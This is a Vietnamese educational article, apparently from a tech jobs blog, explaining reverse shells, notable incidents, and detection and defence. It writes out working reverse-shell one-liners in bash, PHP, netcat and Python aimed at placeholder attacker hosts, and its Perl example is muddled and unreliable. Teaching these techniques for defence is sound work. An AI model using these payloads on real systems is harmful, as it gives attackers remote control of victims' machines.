Reverse shell là một trong những công cụ phổ biến mà các tin tặc sử dụng để xâm nhập và chiếm quyền điều khiển hệ thống mục tiêu. Với những đặc điểm tinh vi và khả năng vượt qua các cơ chế bảo mật, reverse shell trở thành một thách thức lớn đối với việc bảo vệ hệ thống. Bài viết dưới đây sẽ chỉ ra các tình huống thực tế liên quan đến lỗ hỗng reverse shell, ví dụ như bash reverse shell, và cách phòng chống, nếu bạn muốn tìm hiểu về bảo mật hệ thống thì đừng bỏ qua nhé.
Đọc bài viết này để hiểu rõ hơn về:
- Bash reverse shell là gì?
- Một số ví dụ về reverse shell
- Một số tình huống thực tế về reverse shell
- Cách phát hiện và phòng chống
Bash reverse shell là gì?
Bash reverse shell là một dạng reverse shell sử dụng Bash (shell phổ biến trên các hệ thống Unix/Linux) để thực thi các lệnh trên máy nạn nhân.
Reverse shell là một kỹ thuật tấn công cho phép kẻ tấn công thiết lập kết nối từ máy mục tiêu đến máy của họ, ngược với một shell thông thường. Trong khi shell thông thường (forward shell) yêu cầu người dùng kết nối đến máy từ xa, thì reverse shell hoạt động theo hướng ngược lại – khi một Bash reverse shell được thiết lập, máy nạn nhân sẽ kết nối lại với máy của kẻ tấn công và cung cấp quyền điều khiển từ xa thông qua Bash. Thông thường, kết nối này được thực hiện qua giao thức TCP, đôi khi có thể sử dụng các giao thức khác như ICMP hoặc UDP.
Đây là cách để kẻ tấn công chiếm quyền điều khiển máy nạn nhân mà không bị các công cụ bảo mật như tường lửa phát hiện, cũng không cần phải trực tiếp truy cập vào hệ thống. Do đó, reverse shell là công cụ rất mạnh mẽ và nguy hiểm, vì khi kiểm soát được máy nạn nhân, kẻ tấn công có thể đánh cắp dữ liệu, lây nhiễm phần mềm độc hại hoặc leo thang quyền truy cập để tấn công các hệ thống khác trong mạng của nạn nhân.
Tuy nhiên, Bash reverse shell có thể bị phát hiện và ngăn chặn nếu hệ thống được bảo vệ đúng cách, đặc biệt là khi sử dụng các công cụ giám sát và phòng ngừa hiệu quả.
Đọc thêm: Bash Shell là gì? Các tính năng chính của Bash Shell
Cách reverse shell hoạt động
- Kẻ tấn công chuẩn bị máy chủ: Kẻ tấn công thiết lập máy của mình để chờ đón kết nối từ máy nạn nhân trên một cổng cụ thể. Thường thì kẻ tấn công sử dụng công cụ như Netcat để tạo một máy chủ chờ nhận kết nối.
- Máy nạn nhân kết nối lại: Thay vì máy tấn công chủ động kết nối vào máy nạn nhân, máy nạn nhân sẽ tự động kết nối lại với máy của kẻ tấn công. Việc này có thể thực hiện thông qua một payload (mã tấn công) được đưa vào hệ thống nạn nhân qua các lỗ hổng bảo mật. Payload này thường là một lệnh bash đơn giản như bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1 hoặc các biến thể của nó.
- Điều khiển máy nạn nhân từ xa: Sau khi kết nối được thiết lập, kẻ tấn công có thể sử dụng shell (ví dụ: Bash shell) để điều khiển máy nạn nhân từ xa, thực hiện các hành động như sao chép tệp, thay đổi cấu hình hệ thống hoặc cài đặt phần mềm độc hại. Kẻ tấn công sẽ có quyền truy cập với cùng đặc quyền của tiến trình đã thực thi lệnh reverse shell, nên nếu lệnh được thực thi với quyền root, kẻ tấn công sẽ có quyền kiểm soát hoàn toàn hệ thống.
- Vượt qua các biện pháp bảo vệ: Một trong những lý do khiến reverse shell trở thành công cụ tấn công hiệu quả là nó dễ dàng vượt qua các tường lửa và hệ thống NAT*. Các tường lửa thường chỉ kiểm soát kết nối đến (incoming connections), trong khi kết nối ngược (outgoing connection) thường không bị chặn, giúp kẻ tấn công dễ dàng thiết lập kết nối từ máy nạn nhân mà không bị phát hiện. Ngoài ra, kết nối reverse shell thường sử dụng các cổng phổ biến như 80 (HTTP) hoặc 443 (HTTPS) để tránh bị phát hiện, vì lưu lượng trên các cổng này thường được cho phép trong hầu hết các môi trường mạng.
* NAT (Network Address Translation): là một kỹ thuật trong mạng máy tính, dùng để thay đổi địa chỉ IP trong các gói tin khi chúng đi qua một bộ định tuyến hoặc firewall. Mục đích chính của NAT là cho phép nhiều thiết bị trong một mạng nội bộ (như mạng gia đình hoặc mạng công ty) sử dụng một địa chỉ IP công cộng duy nhất để kết nối với Internet.
Đọc thêm: Shell script là gì: Từ A-Z về công cụ dòng lệnh cho lập trình viên
Một vài ví dụ của reverse shell
Bash reverse shell
Đây là cách đơn giản nhất để tạo reverse shell trên các hệ thống Linux. Kẻ tấn công sẽ khởi tạo một listener (là một công cụ hoặc ứng dụng mà kẻ tấn công sử dụng để “chờ đón” các kết nối từ máy nạn nhân) trên máy của mình và máy nạn nhân sẽ kết nối lại với máy tấn công. Ví dụ:
- Trên máy tấn công, khởi tạo listener:
nc -nlvp 4444
- Trên máy nạn nhân, chạy lệnh sau để kết nối lại với máy tấn công:
/bin/bash -i >& /dev/tcp/attacker-ip/4444 0>&1
Khi lệnh này được thực thi, máy nạn nhân sẽ kết nối lại với máy tấn công, và kẻ tấn công sẽ có quyền điều khiển máy nạn nhân thông qua shell. Trong đó:
- -i: Chạy Bash ở chế độ tương tác, cho phép người tấn công gửi và nhận lệnh qua shell.
- >& /dev/tcp/attacker-ip/4444: Đây là cú pháp trong Bash để kết nối tới máy tấn công. attacker-ip là địa chỉ IP của máy tấn công và 4444 là cổng đã được mở trên máy tấn công.
PHP reverse shell
Đây là một phương thức rất phổ biến trong các cuộc tấn công vào các máy chủ web. Nếu máy nạn nhân là một máy chủ web chạy PHP, kẻ tấn công có thể lợi dụng PHP để tạo một reverse shell.
Ví dụ khi thực thi lệnh sau, máy nạn nhân sẽ kết nối lại với máy tấn công và cho phép kẻ tấn công điều khiển máy nạn nhân thông qua shell:
php -r '$sock=fsockopen("attacker-ip", 4444); exec("/bin/sh -i <&3 >&3 2>&3");'
Trong đó:
- php -r: Chạy PHP trực tiếp từ dòng lệnh mà không cần phải lưu vào file.
- $sock=fsockopen(“attacker-ip”, 4444): Dùng hàm fsockopen để kết nối tới địa chỉ IP của máy tấn công (attacker-ip) qua cổng 4444.
- exec(“/bin/sh -i <&3 >&3 2>&3”): Thi hành lệnh shell (/bin/sh) trên máy nạn nhân và chuyển các dòng nhập/xuất của shell tới kết nối với máy tấn công.
Netcat reverse shell
Netcat là một công cụ rất phổ biến trong các cuộc tấn công mạng, đặc biệt là để tạo kết nối reverse shell. Netcat có thể được sử dụng để kết nối máy nạn nhân với máy tấn công một cách rất đơn giản. Ví dụ:
- Trên máy tấn công, kẻ tấn công mở một listener trên cổng 4444:
nc -nlvp 4444
- Trên máy nạn nhân, kẻ tấn công gửi mã để máy nạn nhân kết nối lại qua Netcat:
nc -e /bin/sh attacker-ip 4444
Khi lệnh này được thực thi trên máy nạn nhân, một kết nối sẽ được thiết lập với máy tấn công và kẻ tấn công có thể điều khiển máy nạn nhân thông qua shell.
- Lưu ý: Một số phiên bản Netcat không hỗ trợ tùy chọn -e, trong trường hợp này, có thể sử dụng phương pháp thay thế:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attacker-ip 4444 >/tmp/f
Python reverse shell
Python là một ngôn ngữ phổ biến và mạnh mẽ, cũng có thể được sử dụng để tạo một reverse shell trên hệ thống. Ví dụ:
import socket import os # Tạo socket kết nối s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Kết nối tới máy tấn công qua IP và cổng 4444 s.connect(("attacker-ip", 4444)) # Chuyển đổi các luồng dữ liệu tới kết nối mạng os.dup2(s.fileno(), 0) # Đầu vào os.dup2(s.fileno(), 1) # Đầu ra os.dup2(s.fileno(), 2) # Lỗi # Chạy shell bash trên máy nạn nhân os.system("/bin/sh")
Hoặc dạng một dòng thường được sử dụng:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attacker-ip",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
Perl reverse shell
Ví dụ:
Khởi tạo listener trên máy tấn công:
use IO::Socket; $|=1; # Bỏ buffer khi xuất thông tin # Tạo một socket TCP để lắng nghe kết nối đến $socket = new IO::Socket::INET ( LocalHost => '0.0.0.0', # Lắng nghe tất cả các địa chỉ IP LocalPort => '4444', # Cổng lắng nghe là 4444 Proto => 'tcp', # Giao thức TCP Listen => 1, # Cho phép 1 kết nối chờ Reuse => 1 # Cho phép tái sử dụng địa chỉ sau khi đóng );
Chờ kết nối từ máy nạn nhân:
$new_socket = $socket->accept(); # Chấp nhận kết nối từ máy nạn nhân và gán kết nối này vào biến $new_socket
Sau khi kết nối thành công, máy tấn công sẽ mở một shell lệnh (/bin/sh) trên máy nạn nhân để thực thi các lệnh:
system("/bin/sh -i <&3 >&3 2>&3"); # Mở shell Bash và kết nối lại với máy tấn công
Cuối cùng, sau khi thực thi các lệnh, kẻ tấn công sẽ đóng kết nối với lệnh:
$new_socket->close(); # Đóng kết nối
Một số tình huống thực tế liên quan đến reverse shell
1. Lỗ hổng #BrokenSesame trên cơ sở dữ liệu PostgreSQL của Alibaba
Trong một cuộc tấn công gần đây, nhóm nghiên cứu Wiz đã phát hiện lỗ hổng #BrokenSesame trên cơ sở dữ liệu PostgreSQL của Alibaba Cloud. Lỗ hổng này xảy ra do sự thiếu tách biệt giữa các container và quyền ghi không hợp lý vào registry riêng, khiến kẻ tấn công có thể xâm nhập vào hệ thống.
Nếu khai thác thành công, kẻ tấn công có thể phát tán các gói phần mềm độc hại, bao gồm các reverse shell, làm thâm nhập vào chuỗi cung ứng của Alibaba và làm tổn hại đến các khách hàng của họ. Cụ thể, lỗ hổng cho phép kẻ tấn công tiêm các script độc hại vào hệ thống và thiết lập kết nối reverse shell để kiểm soát từ xa máy chủ PostgreSQL, từ đó có thể mở rộng tấn công sang các hệ thống khác trong mạng nội bộ.
2. Lỗ hổng Hell’s Keychain trong cơ sở dữ liệu PostgreSQL của IBM Cloud
Cũng tương tự như Alibaba, nhóm Wiz đã phát hiện lỗ hổng “Hell’s Keychain” trong cơ sở dữ liệu PostgreSQL của IBM Cloud. Lỗ hổng này cho phép kẻ tấn công leo thang quyền hạn và truy cập vào dữ liệu quan trọng.
Lỗ hổng này có thể dẫn đến việc rò rỉ thông tin đăng nhập, mật khẩu và quyền truy cập vào các hệ thống nội bộ, dễ dàng dẫn đến một cuộc tấn công chuỗi cung ứng qua reverse shell. Kẻ tấn công có thể thiết lập một reverse shell để duy trì quyền truy cập liên tục vào hệ thống, ngay cả sau khi các kết nối ban đầu đã bị phát hiện và đóng lại. Đặc biệt nghiêm trọng là các thông tin xác thực đánh cắp được có thể bị sử dụng để tạo các kết nối reverse shell mới vào các hệ thống khác trong mạng.
3. Lỗ hổng reverse shell qua npm
Một ví dụ khác xảy ra vào tháng 10 năm 2023, khi các nhà nghiên cứu bảo mật phát hiện 48 gói phần mềm độc hại được đăng tải trên npm. Những gói này được đóng gói dưới dạng các tệp package.json, có chứa mã độc với hook cài đặt kích hoạt các lệnh reverse shell. Khi gói phần mềm được cài đặt trên hệ thống, kẻ tấn công có thể tận dụng kết nối này để lấy quyền điều khiển và truy cập vào các hệ thống mạng của nạn nhân.
4. Phishing và lỗ hổng mã hóa trong các ứng dụng web
Trong một số cuộc tấn công, kẻ tấn công khai thác lỗ hổng mã hóa trong các ứng dụng web hoặc lừa đảo người dùng qua email phishing. Mục tiêu của các cuộc tấn công này là để lừa nạn nhân tải lên mã độc dưới dạng các tệp tin vô hại như ảnh hoặc tài liệu, từ đó kích hoạt reverse shell khi thực thi mã độc. Đây là một trong những phương thức phổ biến giúp kẻ tấn công xâm nhập vào mạng của nạn nhân và kiểm soát các hệ thống.
Một kỹ thuật phổ biến là sử dụng các tệp macros trong Microsoft Office hoặc các tệp PDF có chứa mã JavaScript độc hại. Khi người dùng mở các tệp này và cho phép thực thi nội dung động, chúng sẽ âm thầm thiết lập kết nối reverse shell đến máy của kẻ tấn công.
5. Lỗ hổng Log4Shell
Một trong những lỗ hổng nghiêm trọng nhất trong những năm gần đây là Log4Shell (CVE-2021-44228) ảnh hưởng đến thư viện Log4j của Java. Lỗ hổng này cho phép kẻ tấn công thực thi mã từ xa bằng cách gửi một chuỗi đặc biệt được thiết kế để kích hoạt JNDI lookup.
Kẻ tấn công có thể lợi dụng điều này để tạo các kết nối reverse shell đến máy chủ điều khiển của họ. Đáng chú ý, lỗ hổng này ảnh hưởng đến hàng triệu ứng dụng và dịch vụ trên toàn thế giới, vì Log4j là một thư viện ghi log phổ biến được sử dụng rộng rãi trong các ứng dụng Java.
Cách phát hiện và phòng chống reverse shell
Cách phát hiện reverse shell
Việc phát hiện reverse shell có thể gặp khó khăn vì kẻ tấn công có thể mã hóa kết nối và sử dụng nhiều công cụ khác nhau để thực hiện hành vi này. Tuy nhiên, các bước dưới đây có thể giúp phát hiện sự hiện diện của một reverse shell:
- Kiểm tra kết nối đầu ra: Hầu hết các reverse shell kết nối từ máy nạn nhân tới máy của kẻ tấn công. Do đó, việc kiểm tra tất cả các kết nối đầu ra từ máy nạn nhân có thể giúp phát hiện các kết nối bất thường. Các hệ thống tường lửa hoặc IDS/IPS có thể giúp nhận diện các kết nối đầu ra không xác định. Đặc biệt chú ý đến các kết nối kéo dài và không thường xuyên đến các địa chỉ IP không phổ biến.
- Giám sát lưu lượng mạng: Một phương pháp phổ biến để phát hiện reverse shell là giám sát tất cả lưu lượng mạng ra vào hệ thống. Lưu ý rằng các kết nối tới các cổng lạ (hoặc không bình thường) như cổng 80 hoặc 443 (cổng HTTP/HTTPS) có thể là dấu hiệu của một reverse shell. Phân tích gói tin sâu (Deep Packet Inspection) có thể giúp phát hiện các mẫu lưu lượng đặc trưng của shell commands trong các giao thức bình thường.
- Quản lý và kiểm tra các tiến trình (Process): Các reverse shell thường yêu cầu các tiến trình shell được khởi chạy trên máy nạn nhân. Kiểm tra các tiến trình và script đang chạy trong hệ thống có thể giúp phát hiện các tiến trình bất thường hoặc chưa được phê duyệt. Chú ý đặc biệt đến các tiến trình con bất thường của các ứng dụng web như www-data hoặc các quy trình Apache/Nginx đang chạy shell commands.
- Sử dụng công cụ phát hiện hành vi (Behavioral Detection): Các công cụ phát hiện hành vi có thể giúp nhận diện hành động không bình thường của hệ thống, chẳng hạn như kết nối đến một máy chủ bên ngoài và thực thi các lệnh shell.
Cách phòng chống reverse shell
Phòng chống reverse shell chủ yếu tập trung vào việc hạn chế các kết nối không mong muốn từ máy nạn nhân tới máy tấn công, cũng như giảm thiểu các cơ hội tấn công:
- Cấu hình tường lửa (Firewall): Tường lửa có thể hạn chế các kết nối đầu ra, nhưng chỉ hiệu quả khi được cấu hình chính xác. Tuy nhiên, đối với các máy chủ chuyên dụng, việc kiểm soát các kết nối đầu ra có thể là một cách phòng ngừa hiệu quả. Hãy chắc chắn rằng tất cả các kết nối tới cổng không cần thiết được chặn và chỉ cho phép các cổng xác định rõ ràng như HTTP (80) hoặc HTTPS (443). Nên thiết lập danh sách trắng (whitelist) cho các kết nối đầu ra thay vì chỉ chặn các cổng đáng ngờ.
- Sử dụng IDS/IPS (Hệ thống phát hiện xâm nhập): Các hệ thống phát hiện xâm nhập (IDS) có thể giám sát mạng và nhận diện các mẫu giao tiếp bất thường, chẳng hạn như reverse shell. Nếu có bất kỳ lưu lượng nào không xác định, hệ thống có thể cảnh báo và ngừng kết nối.
- Cập nhật và vá lỗi hệ thống (Patch Management): Các cuộc tấn công reverse shell thường dựa vào các lỗ hổng bảo mật (ví dụ như lỗ hổng mã tiêm vào). Để phòng ngừa, hãy đảm bảo hệ thống của bạn luôn được cập nhật các bản vá bảo mật mới nhất, đặc biệt đối với các ứng dụng web và dịch vụ đầu cuối.
- Giới hạn quyền truy cập và sử dụng quyền hạn tối thiểu (Principle of Least Privilege): Không bao giờ chạy ứng dụng hoặc shell với quyền “root” trên máy chủ. Tạo tài khoản người dùng với quyền hạn hạn chế cho mỗi ứng dụng. Cách này sẽ làm giảm khả năng kẻ tấn công có thể chiếm quyền điều khiển máy nạn nhân và thực thi reverse shell. Sử dụng các công nghệ sandbox và containerization như Docker để cô lập các ứng dụng và giới hạn tác động nếu một ứng dụng bị xâm nhập.
- Giới hạn các công cụ có thể tạo reverse shell: Hạn chế các công cụ có thể tạo reverse shell (như netcat, bash hoặc ncat) có thể giúp giảm thiểu khả năng kẻ tấn công sử dụng chúng. Tuy nhiên, vì reverse shell có thể được thực hiện với nhiều công cụ khác nhau nên bạn không thể loại bỏ hoàn toàn khả năng này mà chỉ có thể làm khó khăn hơn cho kẻ tấn công. Sử dụng các giải pháp Application Control như AppLocker trên Windows hoặc AppArmor/SELinux trên Linux để kiểm soát chặt chẽ việc thực thi ứng dụng.
- Phòng chống Phishing: Phishing là một trong những phương pháp phổ biến mà kẻ tấn công sử dụng để đưa mã độc vào máy nạn nhân. Đào tạo nhân viên để nhận diện email lừa đảo và triển khai các công cụ bảo mật email có thể giúp ngăn chặn các cuộc tấn công này.
- Sử dụng Web Application Firewalls (WAF): Các WAF có thể giúp nhận diện các mẫu giao tiếp từ reverse shell và ngừng chúng ngay lập tức. WAF là công cụ mạnh mẽ giúp bảo vệ các ứng dụng web khỏi các cuộc tấn công mạng bao gồm cả reverse shell. Cấu hình WAF để ngăn chặn các kỹ thuật command injection phổ biến và thường xuyên cập nhật các rule để đối phó với các kỹ thuật bypass mới.
Câu hỏi thường gặp về reverse shell
Tại sao kẻ tấn công lại dùng reverse shell thay vì bind shell?
Reverse shell thường được sử dụng thay vì bind shell vì nó dễ dàng vượt qua các tường lửa và cấu hình NAT. Trong bind shell, máy nạn nhân sẽ mở một cổng và đợi kết nối từ kẻ tấn công, điều này dễ bị các tường lửa phát hiện và chặn.
Trong khi đó, với reverse shell, kết nối được thực hiện từ máy nạn nhân ra máy của kẻ tấn công, giúp tránh bị phát hiện bởi các tường lửa do các kết nối thường xuyên chỉ được phép xuất ra mà không bị giám sát.
Có thể phát hiện reverse shell trong hệ thống như thế nào?
Phát hiện reverse shell trong hệ thống có thể khó khăn vì kết nối có thể được mã hóa và sử dụng các công cụ khác nhau. Tuy nhiên vẫn có một số cách như theo dõi các kết nối ra ngoài hệ thống, kiểm tra các tệp tin lạ hoặc các lệnh không xác định trong hệ thống.
Ngoài ra, việc sử dụng các công cụ giám sát mạng và hệ thống như IDS (Hệ thống phát hiện xâm nhập) hoặc các tường lửa có thể giúp phát hiện các hành vi nghi ngờ, chẳng hạn như kết nối với địa chỉ IP ngoài tầm kiểm soát.
Bash reverse shell có hoạt động trên mọi hệ thống không?
Bash reverse shell hoạt động tốt trên hầu hết các hệ thống Unix-like, bao gồm các bản phân phối Linux và macOS, vì Bash thường được cài sẵn trên các hệ điều hành này.
Tuy nhiên, trên các hệ thống Windows, việc sử dụng Bash reverse shell yêu cầu phần mềm như Windows Subsystem for Linux (WSL) hoặc các công cụ tương tự để mô phỏng môi trường Linux. Do đó, mặc dù Bash reverse shell phổ biến và hiệu quả trên các hệ điều hành Unix, nó không hoàn toàn hoạt động trên mọi hệ thống mà không có sự hỗ trợ đặc biệt.
Tổng kết
Tóm lại, các cuộc tấn công reverse shell đã và đang xảy ra trên nhiều nền tảng và qua các phương thức khác nhau. Từ việc khai thác các lỗ hổng trong các dịch vụ đám mây lớn như Alibaba và IBM cho đến lừa đảo người dùng qua các gói phần mềm độc hại trên npm, tất cả đều chứng minh sự đa dạng và nguy hiểm của các cuộc tấn công này.
ITviec hy vọng bài viết trên đã cung cấp cho bạn cái nhìn tổng quan và tầm quan trọng của việc phòng ngừa các cuộc tấn công reverse shell cũng như bash reverse shell. Các tổ chức cần chủ động bảo vệ hệ thống của mình bằng cách thường xuyên kiểm tra lỗ hổng, áp dụng các biện pháp bảo mật mạnh mẽ và đào tạo nhân viên để nhận diện các cuộc tấn công. Đối với cá nhân, việc trang bị kiến thức vững vàng về reverse shell, cũng như hiểu rõ các phương thức phòng ngừa và phát hiện tấn công đóng vai trò hết sức quan trọng trong việc bảo vệ hệ thống và dữ liệu.